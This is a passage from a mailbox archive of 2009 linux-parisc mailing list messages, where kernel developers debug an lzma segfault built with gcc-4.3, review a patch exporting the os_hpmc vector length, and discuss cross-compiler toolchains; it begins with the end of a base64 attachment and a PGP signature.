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
k/+LuSKcKEgh96jLgA==

--Boundary-01=_N31XJK8/yrtOc+6--

--nextPart1416227.gWEVbZRAyx
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)

iQIcBAABAgAGBQJJX13NAAoJEEFjO5/oN/WBRl8P/0kIoEj5wTPilHW48ungxXu4
ny9BIaoBB2X+hYT+1TemLpL0M/cCkIIsMLilW5Qz3PzX5gbf2Vam2Lc2fy1aYxad
eBx9k2ZXfYbtL/d63WdTQy7bW0+ZfcxnJrKFBxtcwI2gUdCx5VS7fGjGzb1g654s
wHUc68YqsfF9w+QPo98rhG0Og+26s+s8oeEHYba0sKL6NlzSO5IYnXBfHUsq1bsn
I0QTp+XzAS/PRizuAhLykovyITzBOpi7EU5pc9hvi1bK0AAk9+JAYEWKOWn6FhBq
MiLoxHsOjo3HVrm5RzzCQsOmxI+MkzuPK6tTbzWJjdt/vGuWi76QVI2qKHXSZDIM
BZCok4VMTZGds7rQ/VPo8avULDqOzYi9Hfw5pCPsWkzWa8rwLyif2vwu2iMuW4S1
QWlnAsYJ55pJDL3B88SqhzoAxF2Uy0/liumOW5UUka+vgLMhYhD2MiK7r/ZldcDB
EXhzFR6WShcOI/b56I1nQ9Xw6VRdJVeJD6qKoer0Eh8hDnbNNl22kpYwCWptJOS8
8YQots6J10wgB2m6AqJ0P7lk6/gUQUZthWs4c2GukB8EMm0BH8rO6FjeN0/mfqeN
Ljjk9gcZKq0dHMH/zQBXmhdS2eas4ZFC6a32pLAPJOcsEjgbPyMPdLh1Gpun5S0x
pAmIs+CLV2KeLHLia4Ss
=6csp
-----END PGP SIGNATURE-----

--nextPart1416227.gWEVbZRAyx--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Sat, 3 Jan 2009 06:40:07 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20090103134006.GW2002@parisc-linux.org>
References: <200901030745.01638.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230990033 12622 80.91.229.12 (3 Jan 2009 13:40:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 13:40:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 14:41:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJ6l3-0004d0-S0
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 14:41:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758525AbZACNkZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Jan 2009 08:40:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758498AbZACNkZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Jan 2009 08:40:25 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:40751 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753158AbZACNkY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Jan 2009 08:40:24 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id A4A2F494005; Sat,  3 Jan 2009 06:40:07 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200901030745.01638.vapier@gentoo.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1132
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1132>

On Sat, Jan 03, 2009 at 07:45:01AM -0500, Mike Frysinger wrote:
> the kernel logs the fault like so:
> do_page_fault() pid=15903 command='lzma' type=15 address=0x00000063

That's a null pointer dereference ...

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Halasa <khc@pm.waw.pl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Sat, 03 Jan 2009 15:03:21 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <m38wpssd06.fsf@maximus.localdomain>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
	<20081231105425.9ccac21d.akpm@linux-foundation.org>
	<alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
	<20081231.141408.60544902.davem@davemloft.net>
	<20090102115547.GB3027@elte.hu>
	<alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
	<alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
	<20090102175737.GA5818@uranus.ravnborg.org>
	<alpine.LFD.2.00.0901021000020.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230991422 16333 80.91.229.12 (3 Jan 2009 14:03:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 14:03:42 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, Ingo Molnar <mingo@elte.hu>,
	David Miller <davem@davemloft.net>,
	Andrew Morton <akpm@linux-foundation.org>, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 15:04:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJ77P-00024Z-M2
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 15:04:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758403AbZACODa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Jan 2009 09:03:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758874AbZACODa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Jan 2009 09:03:30 -0500
Original-Received: from khc.piap.pl ([195.187.100.11]:56769 "EHLO khc.piap.pl"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758403AbZACOD3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Jan 2009 09:03:29 -0500
Original-Received: by khc.piap.pl (Postfix, from userid 500)
	id AB62970190; Sat,  3 Jan 2009 15:03:21 +0100 (CET)
In-Reply-To: <alpine.LFD.2.00.0901021000020.5086@localhost.localdomain> (Linus Torvalds's message of "Fri\, 2 Jan 2009 10\:04\:27 -0800 \(PST\)")
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1133 gmane.linux.kernel:774763
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1133>

Linus Torvalds <torvalds@linux-foundation.org> writes:

> I realize that cross-tools tend to lag a bit - the pressure to maintain 
> them tends to be much lower - but I was sure we had somebody who did a 
> reasonable cross-compiler toolchain. Is gcc-4.1 really the most modern 
> thing that is easily available?

Not sure about crosstool and other platforms but I'm using gcc 4.3.2+
for ARM (on x86_64) and building it is straightforward. Just unpack
binutils, gcc (and optionally glibc); configure; make; make install.
Prerequisites: kernel headers and minimal glibc installed.
(Some recent glibc versions require a patch or two).
-- 
Krzysztof Halasa
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] export length of os_hpmc vector
Date: Sat, 3 Jan 2009 10:56:42 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <20090103155642.GH5181@bombadil.infradead.org>
References: <20090103013540.GG5181@bombadil.infradead.org> <495F2ED1.2000406@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230998217 2280 80.91.229.12 (3 Jan 2009 15:56:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 15:56:57 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, linux-parisc@vger.kernel.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	gmsoft@tuxicoman.be
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 16:58:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJ8t0-0005Ff-Vd
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 16:58:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751641AbZACP4q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Jan 2009 10:56:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751590AbZACP4q
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Jan 2009 10:56:46 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34701 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751417AbZACP4p (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Jan 2009 10:56:45 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LJ8ri-0008PH-1p; Sat, 03 Jan 2009 15:56:42 +0000
Content-Disposition: inline
In-Reply-To: <495F2ED1.2000406@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1134>

On Sat, Jan 03, 2009 at 10:24:33AM +0100, Helge Deller wrote:
> Kyle McMartin wrote:
> > diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
> > index 2cbf13b..5595a2f 100644
> > --- a/arch/parisc/kernel/hpmc.S
> > +++ b/arch/parisc/kernel/hpmc.S
> > @@ -80,6 +80,7 @@ END(hpmc_pim_data)
> >  
> >  	.import intr_save, code
> >  ENTRY(os_hpmc)
> > +.os_hpmc:
> 
> ENTRY(os_hpmc) already expands to
> os_hpmc:
> 
> so you could
> 
> > +	.word .os_hpmc_end-.os_hpmc
> 
> change this to 
> 	.word .os_hpmc_end-os_hpmc
> and drop the local label ".os_hpmc"
> 

In his previous mail JDA said to use local labels for safety...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] export length of os_hpmc vector
Date: Sat, 3 Jan 2009 11:31:42 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20090103163142.F3FDF4EDA@hiauly1.hia.nrc.ca>
References: <20090103155642.GH5181@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231000320 8409 80.91.229.12 (3 Jan 2009 16:32:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 16:32:00 +0000 (UTC)
Cc: deller@gmx.de, kyle@infradead.org, linux-parisc@vger.kernel.org,
	gmsoft@tuxicoman.be
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 17:33:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJ9Qt-0006G5-HD
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 17:33:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750960AbZACQbp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Jan 2009 11:31:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758904AbZACQbp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Jan 2009 11:31:45 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4646 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750960AbZACQbp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Jan 2009 11:31:45 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F3FDF4EDA; Sat,  3 Jan 2009 11:31:42 -0500 (EST)
In-Reply-To: <20090103155642.GH5181@bombadil.infradead.org> from "Kyle McMartin" at Jan 3, 2009 10:56:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1135
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1135>

> > change this to 
> > 	.word .os_hpmc_end-os_hpmc
> > and drop the local label ".os_hpmc"
> > 
> 
> In his previous mail JDA said to use local labels for safety...

The important thing is to ensure that the diff is an absolute value,
and that there's no relocation for the diff.

Diffs are tricky.  There may be a stub associated with os_hpmc.  I know
gdb sometimes gets confused between the stub and real entry point of
a function, and GCC always uses local labels in the exception and debug
tables.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Sat, 3 Jan 2009 12:21:25 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <20090103172125.E7EF44EDA@hiauly1.hia.nrc.ca>
References: <200901030745.01638.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231003300 16933 80.91.229.12 (3 Jan 2009 17:21:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Jan 2009 17:21:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 03 18:22:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJACz-0004NY-Tz
	for glpp-linux-parisc@gmane.org; Sat, 03 Jan 2009 18:22:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759021AbZACRV2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Jan 2009 12:21:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759032AbZACRV2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 3 Jan 2009 12:21:28 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4951 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758339AbZACRV2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Jan 2009 12:21:28 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E7EF44EDA; Sat,  3 Jan 2009 12:21:25 -0500 (EST)
In-Reply-To: <200901030745.01638.vapier@gentoo.org> from "Mike Frysinger" at Jan 3, 2009 07:45:01 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1136>

> to reproduce, just download lzma-4.32.7.tar.gz and do:
> tar xf lzma-4.32.7.tar.gz
> cd lzma-4.32.7
> CXXFLAGS=3D'-O1 -march=3D2.0 -g' ./configure
> make
> make check

Built as above.  I see a segv compressing InBuffer.o in build directory.

Program received signal SIGSEGV, Segmentation fault.
0x00024638 in NCompress::NLZMA::CEncoder::SetStreams (this=0x4158f000, 
    inStream=0x0, outStream=0x3, inSize=0x12, outSize=0x0)
    at ../../../../../../src/sdk/7zip/Compress/LZMA/LZMAEncoder.cpp:1251
1251	  RINOK(Create());

There is a problem with memory allocation in MyAlloc:

Breakpoint 2, MyAlloc (size=72355848) at ../../../src/sdk/Common/Alloc.cpp:24
24	  if (size == 0)

This fails:

(gdb) 
NBT4::CMatchFinderBinTree::Create (this=0x32100, historySize=8388608, 
    keepAddBufferBefore=<value optimized out>, 
    matchMaxLen=<value optimized out>, keepAddBufferAfter=419)
    at ../../../../../../src/sdk/7zip/Compress/LZMA/../LZ/BinTree/BinTreeMain.h:97
97	    if (_hash != 0)
(gdb) 
101	  return E_OUTOFMEMORY;

There isn't a check for out of memory at 1251, so segv.  Don't have time
now to look at memory allocation problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Sun, 4 Jan 2009 13:08:12 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <20090104130812.69c81ed6@bleh.bxl.tuxicoman.be>
References: <200901030745.01638.vapier@gentoo.org>
	<20090103172125.E7EF44EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231070951 23530 80.91.229.12 (4 Jan 2009 12:09:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2009 12:09:11 +0000 (UTC)
Cc: vapier@gentoo.org (Mike Frysinger), linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 04 13:10:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJRo9-0002Xm-Di
	for glpp-linux-parisc@gmane.org; Sun, 04 Jan 2009 13:10:17 +0100
